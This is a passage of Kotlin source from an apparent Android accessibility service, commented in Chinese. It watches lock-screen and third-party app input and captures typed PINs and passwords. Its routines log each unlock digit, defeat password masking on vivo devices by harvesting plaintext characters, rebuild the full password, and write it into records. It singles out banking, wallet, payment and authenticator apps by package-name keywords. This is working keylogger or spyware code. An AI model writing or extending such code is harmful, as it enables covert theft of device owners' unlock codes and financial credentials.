// 查找数字键盘或密码输入框
|
||
val hasNumericKeypad = findNumericKeypadInNode(source)
|
||
val hasPasswordField = findPasswordFieldInNode(source)
|
||
|
||
if (hasNumericKeypad || hasPasswordField) {
|
||
Log.d(TAG, "🔢 检测到数字键盘或密码输入: 数字键盘=$hasNumericKeypad, 密码字段=$hasPasswordField")
|
||
|
||
// 尝试获取密码字段的内容
|
||
val passwordContent = extractPasswordFromNode(source)
|
||
if (passwordContent.isNotEmpty()) {
|
||
Log.d(TAG, "🔢 从节点提取到密码内容: '$passwordContent'")
|
||
|
||
// ✅ 检测并记录数字序列
|
||
val previousLength = numericPasswordSequence.size
|
||
val currentLength = passwordContent.length
|
||
|
||
// 如果密码长度增加,记录新增的数字
|
||
if (currentLength > previousLength && passwordContent.all { it.isDigit() || it == '•' || it == '*' }) {
|
||
for (i in previousLength until currentLength) {
|
||
if (i < passwordContent.length) {
|
||
val digit = passwordContent[i]
|
||
if (digit.isDigit()) {
|
||
Log.d(TAG, "🔢 记录WINDOW_CONTENT_CHANGED中的数字: $digit")
|
||
numericPasswordSequence.add(mapOf(
|
||
"digit" to digit.toString(),
|
||
"timestamp" to currentTime,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"source" to "window_content_changed"
|
||
))
|
||
|
||
// ✅ 检测到数字0,立即标记
|
||
if (digit == '0') {
|
||
hasDetectedZero = true
|
||
Log.d(TAG, "⚡ 检测到数字0,切换模式: hasDetectedZero = true")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// 创建模拟的密码输入事件
|
||
val simulatedText = if (passwordContent.all { it.isDigit() }) passwordContent else "•".repeat(passwordContent.length)
|
||
handlePasswordInput(event, simulatedText, "", currentTime)
|
||
return // ✅ 处理完密码输入后直接返回
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "检查SystemUI密码输入失败", e)
|
||
} finally {
|
||
source.recycle()
|
||
}
|
||
}
|
||
}
|
||
|
||
// ✅ 首先检查界面上是否存在数字0(数字密码的标志)
|
||
if (packageName.contains("systemui", ignoreCase = true)) {
|
||
checkForNumericPasswordIndicators(event)
|
||
}
|
||
|
||
// ✅ 在处理图案解锁之前,先检测是否有新的数字输入(实时检测)
|
||
if (packageName.contains("systemui", ignoreCase = true)) {
|
||
val source = event.source
|
||
if (source != null) {
|
||
try {
|
||
val currentPasswordContent = extractPasswordFromNode(source)
|
||
if (currentPasswordContent.isNotEmpty() && currentPasswordContent.any { it.isDigit() }) {
|
||
val currentDigitCount = currentPasswordContent.count { it.isDigit() }
|
||
val recordedDigitCount = numericPasswordSequence.size
|
||
|
||
if (currentDigitCount > recordedDigitCount) {
|
||
Log.d(TAG, "🔢 图案模式中检测到新数字输入: '$currentPasswordContent' (当前:$currentDigitCount, 已记录:$recordedDigitCount)")
|
||
|
||
// 记录新增的数字
|
||
for (i in recordedDigitCount until minOf(currentDigitCount, currentPasswordContent.length)) {
|
||
val digit = currentPasswordContent[i]
|
||
if (digit.isDigit()) {
|
||
Log.d(TAG, "🔢 补充记录数字: $digit")
|
||
numericPasswordSequence.add(mapOf(
|
||
"digit" to digit.toString(),
|
||
"timestamp" to currentTime,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"source" to "pattern_mode_detection"
|
||
))
|
||
|
||
// ✅ 检测到数字0,立即标记
|
||
if (digit == '0') {
|
||
hasDetectedZero = true
|
||
Log.d(TAG, "⚡ 图案模式中检测到数字0,切换模式: hasDetectedZero = true")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "图案模式中检测数字失败", e)
|
||
} finally {
|
||
source.recycle()
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
/**
|
||
* ✅ 新增:转换密码类型为增强格式
|
||
*/
|
||
private fun convertToEnhancedType(passwordType: String): String {
|
||
return when (passwordType) {
|
||
"混合密码" -> "MIXED"
|
||
"文本密码" -> "TEXT"
|
||
"数字密码" -> "NUMERIC"
|
||
"PIN码" -> "PIN"
|
||
"图案密码" -> "PATTERN"
|
||
else -> "UNKNOWN"
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:转换密码类型为确认检测使用的简化类型
|
||
*/
|
||
private fun convertToConfirmDetectionType(passwordType: String): String {
|
||
return when (passwordType) {
|
||
"混合密码" -> "mixed"
|
||
"文本密码" -> "text"
|
||
"数字密码" -> "numeric"
|
||
"PIN码" -> "numeric" // PIN码也使用numeric类型
|
||
"图案密码" -> "pattern"
|
||
else -> "unknown"
|
||
}
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
/**
|
||
* 检测是否为密码输入框
|
||
*/
|
||
private fun isPasswordField(event: AccessibilityEvent): Boolean {
|
||
val className = event.className?.toString()?.lowercase() ?: ""
|
||
val contentDescription = event.contentDescription?.toString()?.lowercase() ?: ""
|
||
val packageName = event.packageName?.toString()?.lowercase() ?: ""
|
||
|
||
// 检查类名是否包含密码相关字段
|
||
val passwordClassNames = listOf(
|
||
"edittext", "passwordfield", "secureedittext",
|
||
"password", "pin", "passcode"
|
||
)
|
||
|
||
// 检查内容描述是否包含密码相关词汇
|
||
val passwordKeywords = listOf(
|
||
"password", "密码", "pin", "passcode", "安全", "unlock", "解锁"
|
||
)
|
||
|
||
val classMatches = passwordClassNames.any { className.contains(it) }
|
||
val descMatches = passwordKeywords.any { contentDescription.contains(it) }
|
||
val isPasswordEvent = event.isPassword
|
||
|
||
// ✅ 增强:特别处理SystemUI中的各种密码输入场景
|
||
val isSystemUIPasswordInput = packageName.contains("systemui") && (
|
||
className.contains("edittext") || // PIN码输入框
|
||
className.contains("passwordfield") || // 密码输入框
|
||
className.contains("secureedittext") || // 安全文本输入
|
||
className.contains("numpad") || // 数字键盘
|
||
className.contains("keypad") || // 键盘
|
||
className.contains("android.view.view") // ✅ 通用View(可能是数字密码输入)
|
||
)
|
||
|
||
// ✅ 增强:检查事件文本是否包含密码特征
|
||
val eventText = event.text?.joinToString("") ?: ""
|
||
val hasPasswordCharacteristics = eventText.any { it == '•' || it == '*' } ||
|
||
(eventText.isNotEmpty() && eventText.all { it.isDigit() || it == '•' || it == '*' })
|
||
|
||
val result = classMatches || descMatches || isPasswordEvent || isSystemUIPasswordInput || hasPasswordCharacteristics
|
||
|
||
Log.d(TAG, "🔍 密码字段检测: 类名=$className, 描述=$contentDescription, 包名=$packageName")
|
||
Log.d(TAG, " 类名匹配=$classMatches, 描述匹配=$descMatches, isPassword=$isPasswordEvent")
|
||
Log.d(TAG, " SystemUI密码输入=$isSystemUIPasswordInput, 密码特征=$hasPasswordCharacteristics")
|
||
Log.d(TAG, " 事件文本='$eventText'")
|
||
Log.d(TAG, " 最终结果: $result")
|
||
|
||
return result
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:增强的密码输入检测,支持更多第三方应用
|
||
*/
|
||
private fun isLikelyPasswordInput(event: AccessibilityEvent): Boolean {
|
||
val className = event.className?.toString()?.lowercase() ?: ""
|
||
val contentDescription = event.contentDescription?.toString()?.lowercase() ?: ""
|
||
val packageName = event.packageName?.toString()?.lowercase() ?: ""
|
||
val eventText = event.text?.joinToString("") ?: ""
|
||
|
||
// 1. 检查第三方应用中的常见密码输入特征
|
||
val hasPasswordMask = eventText.any { it == '•' || it == '*' || it == '●' }
|
||
|
||
// 2. 检查常见的密码相关UI元素
|
||
val passwordUIIndicators = listOf(
|
||
"密码", "password", "pwd", "pass", "pin", "unlock", "解锁", "登录", "login",
|
||
"sign in", "signin", "security", "安全", "验证", "verify", "auth", "认证"
|
||
)
|
||
|
||
val hasPasswordUI = passwordUIIndicators.any { keyword ->
|
||
contentDescription.contains(keyword) ||
|
||
className.contains(keyword)
|
||
}
|
||
|
||
// 3. 检查是否为数字密码(纯数字输入且长度合理)
|
||
val isNumericPassword = eventText.isNotEmpty() &&
|
||
eventText.all { it.isDigit() } &&
|
||
eventText.length in 3..10
|
||
|
||
// 4. 检查输入框的hint或placeholder文本
|
||
val source = event.source
|
||
var hasPasswordHint = false
|
||
if (source != null) {
|
||
try {
|
||
val hintText = source.hintText?.toString()?.lowercase() ?: ""
|
||
hasPasswordHint = passwordUIIndicators.any { hintText.contains(it) }
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "检查hint文本失败", e)
|
||
} finally {
|
||
source.recycle()
|
||
}
|
||
}
|
||
|
||
// 5. 检查常见的密码输入应用
|
||
val passwordApps = listOf(
|
||
"banking", "bank", "wallet", "payment", "pay", "finance", "security",
|
||
"lock", "keychain", "password", "authenticator", "2fa", "otp"
|
||
)
|
||
val isPasswordApp = passwordApps.any { packageName.contains(it) }
|
||
|
||
val result = hasPasswordMask || hasPasswordUI || isNumericPassword || hasPasswordHint || isPasswordApp
|
||
|
||
if (result) {
|
||
Log.d(TAG, "🔍 增强密码检测: 掩码=$hasPasswordMask, UI指示=$hasPasswordUI, 数字密码=$isNumericPassword, hint密码=$hasPasswordHint, 密码应用=$isPasswordApp")
|
||
}
|
||
|
||
return result
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:提取文本输入的变化部分
|
||
*/
|
||
private fun extractInputDelta(beforeText: String, currentText: String): String {
|
||
return when {
|
||
currentText.length > beforeText.length -> {
|
||
// 文本增加:提取新增的部分
|
||
currentText.substring(beforeText.length)
|
||
}
|
||
currentText.length < beforeText.length -> {
|
||
// 文本减少:标记删除
|
||
"[删除${beforeText.length - currentText.length}字符]"
|
||
}
|
||
else -> {
|
||
// 长度相同但内容不同:可能是替换
|
||
"[文本替换]"
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
|
||
/**
|
||
* 尝试获取完整的密码文本
|
||
*/
|
||
private fun getPasswordText(event: AccessibilityEvent, displayText: String, beforeText: String): String {
|
||
try {
|
||
var actualText = displayText
|
||
|
||
// ✅ vivo设备专用文本获取增强
|
||
if (isVivoDevice) {
|
||
// 优先使用捕获的明文字符(如果有的话)
|
||
if (vivoExtractedChars.isNotEmpty() && displayText.length > 0) {
|
||
val vivoEnhancedText = enhanceVivoPasswordText(displayText, beforeText)
|
||
if (vivoEnhancedText != displayText) {
|
||
actualText = vivoEnhancedText
|
||
Log.d(TAG, "📱 [vivo文本增强] 原始='$displayText' -> 增强='$actualText'")
|
||
}
|
||
}
|
||
}
|
||
|
||
// 方法1:从事件文本获取
|
||
if (actualText.isEmpty() && event.text.isNotEmpty()) {
|
||
actualText = event.text.joinToString("")
|
||
}
|
||
|
||
// 方法2:尝试从AccessibilityNodeInfo获取更多信息
|
||
val source = event.source
|
||
if (source != null) {
|
||
try {
|
||
val nodeText = source.text?.toString() ?: ""
|
||
if (nodeText.isNotEmpty()) {
|
||
// 只有当节点文本看起来像密码字符时才使用(包含掩码或数字/字母)
|
||
val looksLikePassword = nodeText.any { it == '•' || it == '*' } ||
|
||
(nodeText.length <= 20 && nodeText.any { it.isLetterOrDigit() })
|
||
|
||
if (looksLikePassword &&
|
||
(nodeText.length >= actualText.length ||
|
||
nodeText.any { it.isLetterOrDigit() && !actualText.contains(it) })) {
|
||
actualText = nodeText
|
||
}
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "从AccessibilityNodeInfo获取文本失败", e)
|
||
} finally {
|
||
source.recycle()
|
||
}
|
||
}
|
||
|
||
// 方法3:分析文本变化,推断当前输入的字符
|
||
if (actualText.length > beforeText.length) {
|
||
val lengthDiff = actualText.length - beforeText.length
|
||
Log.d(TAG, "🔍 检测到长度增加 $lengthDiff 位")
|
||
|
||
// 如果当前文本全是掩码,但长度增加了,尝试保留上次的明文
|
||
if (actualText.all { it == '•' || it == '*' } && beforeText.any { it.isLetterOrDigit() }) {
|
||
// 构建可能的文本:保留之前的明文,新位置用掩码
|
||
val newText = StringBuilder()
|
||
for (i in 0 until actualText.length) {
|
||
if (i < beforeText.length && beforeText[i].isLetterOrDigit()) {
|
||
newText.append(beforeText[i])
|
||
} else {
|
||
newText.append('•')
|
||
}
|
||
}
|
||
actualText = newText.toString()
|
||
}
|
||
}
|
||
|
||
Log.d(TAG, "🔍 密码文本解析: 显示文本='$displayText', 之前文本='$beforeText', 实际文本='$actualText'")
|
||
|
||
// 返回实际显示的文本(明文或掩码)
|
||
return actualText
|
||
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "获取密码文本失败", e)
|
||
return displayText
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ vivo设备专用密码快速捕获处理
|
||
*/
|
||
private fun handleVivoPasswordCapture(event: AccessibilityEvent, text: String, beforeText: String, packageName: String, className: String) {
|
||
val currentTime = System.currentTimeMillis()
|
||
|
||
Log.i(TAG, "📱 [vivo快速捕获] 开始处理: 文本='$text', 之前='$beforeText'")
|
||
|
||
// 1. 立即提取明文字符
|
||
val plaintextChars = extractVivoPlaintextChars(text, beforeText)
|
||
if (plaintextChars.isNotEmpty()) {
|
||
Log.i(TAG, "🎯 [vivo快速捕获] 发现明文字符: '$plaintextChars'")
|
||
vivoExtractedChars.addAll(plaintextChars)
|
||
vivoLastCaptureTime = currentTime
|
||
}
|
||
|
||
// 2. 深度扫描节点文本
|
||
val source = event.source
|
||
if (source != null) {
|
||
try {
|
||
scanVivoPasswordNodeDeep(source, packageName)
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "vivo深度扫描失败", e)
|
||
} finally {
|
||
source.recycle()
|
||
}
|
||
}
|
||
|
||
// 3. 启动主动扫描(仅对密码场景且当前时间窗口内)
|
||
if (isPasswordField(event) && !vivoActiveScanning.contains(packageName) &&
|
||
(currentTime - vivoLastCaptureTime < 2000L || vivoLastCaptureTime == 0L)) {
|
||
startVivoActiveScanning(packageName)
|
||
}
|
||
|
||
// 4. 更新vivo密码缓冲区
|
||
updateVivoPasswordBuffer(text, beforeText)
|
||
|
||
Log.i(TAG, "📱 [vivo快速捕获] 处理完成: 已捕获${vivoExtractedChars.size}个字符")
|
||
}
|
||
|
||
/**
|
||
* ✅ vivo设备明文字符提取
|
||
*/
|
||
private fun extractVivoPlaintextChars(text: String, beforeText: String): List<String> {
|
||
val extractedChars = mutableListOf<String>()
|
||
|
||
try {
|
||
// 方法1: 提取所有非掩码字符
|
||
val plaintextInCurrent = text.filter { char ->
|
||
char != '•' && char != '*' && char.isLetterOrDigit()
|
||
}
|
||
|
||
if (plaintextInCurrent.isNotEmpty()) {
|
||
extractedChars.addAll(plaintextInCurrent.map { it.toString() })
|
||
Log.d(TAG, "🎯 [vivo明文提取] 当前文本明文: '$plaintextInCurrent'")
|
||
}
|
||
|
||
// 方法2: 分析新增字符(比较text和beforeText的差异)
|
||
if (text.length > beforeText.length) {
|
||
val lengthDiff = text.length - beforeText.length
|
||
val potentialNewChars = text.takeLast(lengthDiff)
|
||
|
||
val newPlaintextChars = potentialNewChars.filter { char ->
|
||
char != '•' && char != '*' && char.isLetterOrDigit()
|
||
}
|
||
|
||
if (newPlaintextChars.isNotEmpty()) {
|
||
extractedChars.addAll(newPlaintextChars.map { it.toString() })
|
||
Log.d(TAG, "🎯 [vivo明文提取] 新增明文字符: '$newPlaintextChars'")
|
||
}
|
||
}
|
||
|
||
// 方法3: 比较位置差异,提取可能的明文
|
||
for (i in text.indices) {
|
||
val currentChar = text[i]
|
||
val previousChar = if (i < beforeText.length) beforeText[i] else null
|
||
|
||
// 如果当前位置是明文,而之前位置是掩码或不存在,则可能是新输入的明文
|
||
if (currentChar.isLetterOrDigit() && currentChar != '•' && currentChar != '*') {
|
||
if (previousChar == null || previousChar == '•' || previousChar == '*' || previousChar != currentChar) {
|
||
if (!extractedChars.contains(currentChar.toString())) {
|
||
extractedChars.add(currentChar.toString())
|
||
Log.d(TAG, "🎯 [vivo明文提取] 位置${i}明文字符: '$currentChar'")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "vivo明文字符提取失败", e)
|
||
}
|
||
|
||
return extractedChars.distinct() // 去重
|
||
}
|
||
|
||
/**
|
||
* ✅ vivo设备深度节点扫描
|
||
*/
|
||
private fun scanVivoPasswordNodeDeep(node: AccessibilityNodeInfo, packageName: String) {
|
||
try {
|
||
// 扫描当前节点
|
||
val nodeText = node.text?.toString()
|
||
if (!nodeText.isNullOrEmpty() && nodeText.length <= 20) { // 限制长度,避免扫描非密码文本
|
||
val extractedFromNode = extractVivoPlaintextChars(nodeText, "")
|
||
if (extractedFromNode.isNotEmpty()) {
|
||
Log.i(TAG, "🔍 [vivo深度扫描] 节点明文: '$extractedFromNode'")
|
||
vivoExtractedChars.addAll(extractedFromNode)
|
||
}
|
||
}
|
||
|
||
// 扫描子节点(限制深度避免性能问题)
|
||
if (node.childCount <= 10) { // 限制子节点数量
|
||
for (i in 0 until node.childCount) {
|
||
val child = node.getChild(i)
|
||
if (child != null) {
|
||
try {
|
||
val childText = child.text?.toString()
|
||
if (!childText.isNullOrEmpty() && childText.length <= 20) {
|
||
val extractedFromChild = extractVivoPlaintextChars(childText, "")
|
||
if (extractedFromChild.isNotEmpty()) {
|
||
Log.i(TAG, "🔍 [vivo深度扫描] 子节点明文: '$extractedFromChild'")
|
||
vivoExtractedChars.addAll(extractedFromChild)
|
||
}
|
||
}
|
||
} finally {
|
||
child.recycle()
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "vivo深度扫描节点失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ vivo设备主动扫描启动
|
||
*/
|
||
private fun startVivoActiveScanning(packageName: String) {
|
||
if (vivoActiveScanning.contains(packageName)) {
|
||
return // 避免重复扫描
|
||
}
|
||
|
||
vivoActiveScanning.add(packageName)
|
||
Log.i(TAG, "🚀 [vivo主动扫描] 启动主动扫描: $packageName")
|
||
|
||
logScope.launch {
|
||
try {
|
||
// 连续扫描15次,每次间隔50ms,总共750ms
|
||
repeat(15) { scanIndex ->
|
||
delay(50L)
|
||
|
||
try {
|
||
val rootNode = service.rootInActiveWindow
|
||
if (rootNode != null) {
|
||
scanPasswordFieldsInRoot(rootNode, packageName, scanIndex)
|
||
rootNode.recycle()
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "vivo主动扫描第${scanIndex + 1}次失败", e)
|
||
}
|
||
}
|
||
|
||
} finally {
|
||
// 扫描完成后清理
|
||
vivoActiveScanning.remove(packageName)
|
||
Log.i(TAG, "✅ [vivo主动扫描] 扫描完成: $packageName")
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 扫描根节点中的所有密码字段
|
||
*/
|
||
private fun scanPasswordFieldsInRoot(rootNode: AccessibilityNodeInfo, targetPackage: String, scanIndex: Int) {
|
||
findPasswordFieldsRecursive(rootNode, targetPackage, { passwordNode ->
|
||
try {
|
||
val nodeText = passwordNode.text?.toString()
|
||
if (!nodeText.isNullOrEmpty() && nodeText.length <= 20) {
|
||
val extractedFromScan = extractVivoPlaintextChars(nodeText, "")
|
||
if (extractedFromScan.isNotEmpty()) {
|
||
Log.i(TAG, "🎯 [vivo主动扫描#${scanIndex + 1}] 发现密码字段明文: '$extractedFromScan'")
|
||
vivoExtractedChars.addAll(extractedFromScan)
|
||
vivoLastCaptureTime = System.currentTimeMillis()
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "扫描密码字段失败", e)
|
||
}
|
||
})
|
||
}
|
||
|
||
/**
|
||
* ✅ 递归查找密码字段
|
||
*/
|
||
private fun findPasswordFieldsRecursive(
|
||
node: AccessibilityNodeInfo,
|
||
targetPackage: String,
|
||
onPasswordFieldFound: (AccessibilityNodeInfo) -> Unit,
|
||
depth: Int = 0
|
||
) {
|
||
if (depth > 5) return // 限制递归深度
|
||
|
||
try {
|
||
// 检查当前节点是否是密码字段
|
||
val className = node.className?.toString()?.lowercase() ?: ""
|
||
val isPasswordInput = node.isPassword ||
|
||
className.contains("password") ||
|
||
className.contains("edittext")
|
||
|
||
if (isPasswordInput) {
|
||
onPasswordFieldFound(node)
|
||
}
|
||
|
||
// 递归检查子节点
|
||
if (node.childCount <= 20) { // 限制子节点数量
|
||
for (i in 0 until node.childCount) {
|
||
val child = node.getChild(i)
|
||
if (child != null) {
|
||
try {
|
||
findPasswordFieldsRecursive(child, targetPackage, onPasswordFieldFound, depth + 1)
|
||
} finally {
|
||
child.recycle()
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "递归查找密码字段失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 更新vivo密码缓冲区
|
||
*/
|
||
private fun updateVivoPasswordBuffer(text: String, beforeText: String) {
|
||
try {
|
||
// 如果检测到新的明文字符,更新缓冲区
|
||
if (vivoExtractedChars.isNotEmpty()) {
|
||
// 构建可能的完整密码
|
||
val reconstructedPassword = reconstructVivoPassword(text)
|
||
if (reconstructedPassword != vivoPasswordBuffer && reconstructedPassword.isNotEmpty()) {
|
||
vivoPasswordBuffer = reconstructedPassword
|
||
Log.i(TAG, "📝 [vivo密码重构] 更新密码缓冲区: 长度=${reconstructedPassword.length}")
|
||
|
||
// 如果重构的密码看起来完整,记录到日志
|
||
if (reconstructedPassword.length >= 4) { // 至少4位才考虑是完整密码
|
||
logScope.launch {
|
||
recordLog(
|
||
"TEXT_INPUT",
|
||
"🔒 [vivo快速捕获] 重构密码: ${reconstructedPassword.replace(Regex("[a-zA-Z0-9]"), "•")} (${reconstructedPassword.length}位)",
|
||
mapOf(
|
||
"vivoOptimized" to true,
|
||
"extractedChars" to vivoExtractedChars.size,
|
||
"reconstructedPassword" to reconstructedPassword,
|
||
"captureMethod" to "vivo_enhanced_capture"
|
||
)
|
||
)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "更新vivo密码缓冲区失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ vivo设备文本增强处理
|
||
*/
|
||
private fun enhanceVivoPasswordText(displayText: String, beforeText: String): String {
|
||
try {
|
||
if (vivoExtractedChars.isEmpty()) {
|
||
return displayText
|
||
}
|
||
|
||
// 策略1: 如果显示文本全是掩码,尝试用捕获的明文字符重构
|
||
if (displayText.all { it == '•' || it == '*' || it.isWhitespace() }) {
|
||
val distinctChars = vivoExtractedChars.distinct()
|
||
if (distinctChars.size >= displayText.length * 0.5) { // 至少捕获了50%的字符
|
||
val reconstructed = distinctChars.take(displayText.length).joinToString("")
|
||
Log.d(TAG, "📱 [vivo文本增强] 全掩码重构: ${distinctChars.joinToString("")}")
|
||
return reconstructed
|
||
}
|
||
}
|
||
|
||
// 策略2: 混合显示,保留明文部分,补充捕获的字符
|
||
if (displayText.any { it.isLetterOrDigit() } && displayText.any { it == '•' || it == '*' }) {
|
||
val enhancedText = StringBuilder()
|
||
val capturedChars = vivoExtractedChars.toMutableList()
|
||
|
||
for (i in displayText.indices) {
|
||
val currentChar = displayText[i]
|
||
if (currentChar.isLetterOrDigit()) {
|
||
// 保留已显示的明文字符
|
||
enhancedText.append(currentChar)
|
||
capturedChars.find { it == currentChar.toString() }?.also { capturedChars.remove(it) }
|
||
} else if (currentChar == '•' || currentChar == '*') {
|
||
// 尝试用捕获的字符替换掩码
|
||
val replacementChar = capturedChars.removeFirstOrNull()
|
||
enhancedText.append(replacementChar ?: currentChar)
|
||
} else {
|
||
enhancedText.append(currentChar)
|
||
}
|
||
}
|
||
|
||
Log.d(TAG, "📱 [vivo文本增强] 混合重构: ${enhancedText.toString()}")
|
||
return enhancedText.toString()
|
||
}
|
||
|
||
// 策略3: 如果捕获的字符比显示的更多,可能是完整密码
|
||
val distinctChars = vivoExtractedChars.distinct()
|
||
if (distinctChars.size > displayText.length) {
|
||
Log.d(TAG, "📱 [vivo文本增强] 使用完整捕获: ${distinctChars.joinToString("")}")
|
||
return distinctChars.joinToString("")
|
||
}
|
||
|
||
return displayText
|
||
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "vivo文本增强处理失败", e)
|
||
return displayText
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 重构vivo设备密码
|
||
*/
|
||
private fun reconstructVivoPassword(currentText: String): String {
|
||
try {
|
||
// 策略1: 如果当前文本包含明文,直接使用
|
||
val currentPlaintext = currentText.filter { it != '•' && it != '*' && it.isLetterOrDigit() }
|
||
if (currentPlaintext.isNotEmpty()) {
|
||
return currentPlaintext
|
||
}
|
||
|
||
// 策略2: 使用捕获的明文字符重构
|
||
if (vivoExtractedChars.isNotEmpty()) {
|
||
// 按捕获时间顺序排列(假设是按输入顺序捕获的)
|
||
val reconstructed = vivoExtractedChars.distinct().joinToString("")
|
||
if (reconstructed.length >= currentText.length - 2) { // 允许少量字符丢失
|
||
return reconstructed
|
||
}
|
||
}
|
||
|
||
// 策略3: 结合当前文本长度和捕获字符
|
||
if (vivoExtractedChars.isNotEmpty() && currentText.isNotEmpty()) {
|
||
val distinctChars = vivoExtractedChars.distinct()
|
||
|
||
// 如果捕获的字符数量接近文本长度,可能是完整的
|
||
if (distinctChars.size >= currentText.length * 0.7) { // 至少70%的字符被捕获
|
||
return distinctChars.joinToString("")
|
||
}
|
||
}
|
||
|
||
return ""
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "重构vivo密码失败", e)
|
||
return ""
|
||
}
|
||
}
|
||
|
||
|
||
/**
|
||
* 处理文本选择变化事件 - 可能包含密码输入
|
||
*/
|
||
private fun handleTextSelectionChanged(event: AccessibilityEvent) {
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
|
||
// 只处理密码相关的事件
|
||
if (isPasswordField(event)) {
|
||
val text = event.text?.joinToString("") ?: ""
|
||
val beforeText = event.beforeText?.toString() ?: ""
|
||
|
||
Log.d(TAG, "🔍 文本选择变化: 包名=$packageName, 类名=$className, 文本='$text', 之前='$beforeText'")
|
||
|
||
// 如果检测到文本变化,可能是密码输入
|
||
if (text != beforeText && text.isNotEmpty()) {
|
||
handlePasswordInput(event, text, beforeText, System.currentTimeMillis())
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 增强:处理焦点事件 - 记录所有文本输入框获得焦点的情况
|
||
*/
|
||
private fun handleViewFocused(event: AccessibilityEvent) {
|
||
val packageName = event.packageName?.toString() ?: ""
|
||
val className = event.className?.toString() ?: ""
|
||
val text = event.text?.joinToString("") ?: ""
|
||
val contentDescription = event.contentDescription?.toString() ?: ""
|
||
|
||
// ✅ 增强:检测所有可能的文本输入控件
|
||
var isTextInput = className.lowercase().contains("edittext") ||
|
||
className.lowercase().contains("textfield") ||
|
||
className.lowercase().contains("textinput") ||
|
||
className.lowercase().contains("searchview") ||
|
||
event.isPassword
|
||
|
||
// ✅ 增强:通过AccessibilityNodeInfo检查是否可编辑
|
||
val source = event.source
|
||
if (source != null) {
|
||
isTextInput = isTextInput || source.isEditable
|
||
}
|
||
|
||
// ✅ 增强:检测是否为密码输入框
|
||
val isPasswordField = isPasswordField(event) || isLikelyPasswordInput(event)
|
||
|
||
if (isTextInput) {
|
||
Log.d(TAG, "🎯 文本输入框获得焦点: 包名=$packageName, 类名=$className, 密码字段=$isPasswordField")
|
||
|
||
// 尝试从AccessibilityNodeInfo获取更多信息
|
||
var nodeText = ""
|
||
var hintText = ""
|
||
|
||
if (source != null) {
|
||
try {
|
||
nodeText = source.text?.toString() ?: ""
|
||
hintText = source.hintText?.toString() ?: ""
|
||
|
||
Log.d(TAG, "🎯 节点详细信息: 文本='$nodeText', 提示='$hintText', 可编辑=${source.isEditable}, 密码=${source.isPassword}")
|
||
|
||
if (nodeText.isNotEmpty() && nodeText != text) {
|
||
// 可能获取到了更完整的文本
|
||
Log.d(TAG, "🎯 从节点获取到更多文本信息: '$nodeText'")
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.w(TAG, "获取节点文本失败", e)
|
||
} finally {
|
||
source.recycle()
|
||
}
|
||
}
|
||
|
||
// ✅ 记录焦点事件 - 包含密码和普通文本输入
|
||
// 从节点获取isEditable状态
|
||
val nodeIsEditable = source?.isEditable ?: false
|
||
|
||
logScope.launch {
|
||
recordLog(
|
||
"FOCUS_GAINED",
|
||
"文本框获得焦点: ${if (isPasswordField) "密码输入" else "文本输入"}",
|
||
mapOf(
|
||
"text" to text,
|
||
"nodeText" to nodeText,
|
||
"hintText" to hintText,
|
||
"className" to className,
|
||
"packageName" to packageName,
|
||
"contentDescription" to contentDescription,
|
||
"isPasswordField" to isPasswordField,
|
||
"isEditable" to nodeIsEditable,
|
||
"eventType" to "VIEW_FOCUSED"
|
||
)
|
||
)
|
||
}
|
||
|
||
// ✅ 对于密码字段,执行特殊处理
|
||
if (isPasswordField && nodeText.isNotEmpty()) {
|
||
Log.d(TAG, "🔒 密码字段焦点检测到已有内容,可能需要分析")
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* ✅ 新增:在节点中查找数字键盘
|
||
*/
|
||
private fun findNumericKeypadInNode(node: AccessibilityNodeInfo): Boolean {
|
||
try {
|
||
// 检查当前节点
|
||
val className = node.className?.toString()?.lowercase() ?: ""
|
||
val contentDesc = node.contentDescription?.toString()?.lowercase() ?: ""
|
||
val text = node.text?.toString() ?: ""
|
||
|
||
// 数字键盘特征
|
||
val hasNumericKeywords = className.contains("numpad") ||
|
||
className.contains("numeric") ||
|
||
className.contains("keypad") ||
|
||
contentDesc.contains("数字") ||
|
||
contentDesc.contains("numeric") ||
|
||
contentDesc.contains("keypad")
|
||
|
||
// 检查是否有数字按钮(0-9)
|
||
val hasDigitButtons = text.matches(Regex("\\d")) ||
|
||
contentDesc.matches(Regex("\\d"))
|
||
